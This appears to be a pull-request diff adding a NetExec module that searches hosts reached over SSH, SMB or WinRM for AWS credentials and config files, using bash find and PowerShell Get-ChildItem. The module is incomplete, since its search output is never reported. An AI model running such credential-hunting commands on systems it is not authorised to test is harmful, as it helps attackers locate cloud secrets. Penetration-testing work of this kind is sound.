New module that searches for files that contain aws credentials on windows and linux systems.

Author: Brian Giraldo

nxc/modules/aws-credentials.py

@@ -0,0 +1,44 @@
+class NXCModule:
+    """
+    Search for aws credentials files on linux and windows machines
+
+    Module by Fortress
+    """
+
+    name = "aws-credentials"
+    description = "Search for aws credentials files."
+    supported_protocols = ["ssh", "smb", "winrm"]
+    opsec_safe = True
+    multiple_hosts = True
+
+    def __init__(self):
+        self.search_path_linux = "'/home/' '/tmp/'"
+        self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
+        
+
+    def options(self, context, module_options):
+        r"""
+        SEARCH_PATH_LINUX	Linux location where to search for aws credentials related files
+                        	Default: '/home/ - /tmp/'
+        
+        SEARCH_PATH_WIN		Windows locations where to search for aws credentials related files
+                        	Default: 'C:\\Users\\ - C:\\ProgramData\\AWSCLI\\ - C:\\Temp\\                        	
+        """
+        if "SEARCH_PATH_LINUX" in module_options:
+            self.search_path_linux = module_options["SEARCH_PATH_LINUX"]
+
+        if "SEARCH_PATH_WIN" in module_options:
+            self.search_path_win = module_options["SEARCH_PATH_WIN"]
+
+    def on_login(self, context, connection):	
+	# search for aws_credentials-related files on linux systems
+        if "ssh" in context.protocol:
+            search_aws_creds_files_payload = f'find {self.search_path_linux} -type f  -name credentials -o -name credentials.bk -o -name config.bk -o -name config'
+            search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"'
+            search_aws_creds_files_output = connection.execute(search_aws_creds_files_cmd, True)
+        else:
+           # search for aws_credentials-related files on windows systems
+           search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include ('credentials','credentials.bk','config','config.bk') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName"
+           search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
+           search_aws_creds_files_output_win = connection.execute(search_aws_creds_files_cmd_win, True)
+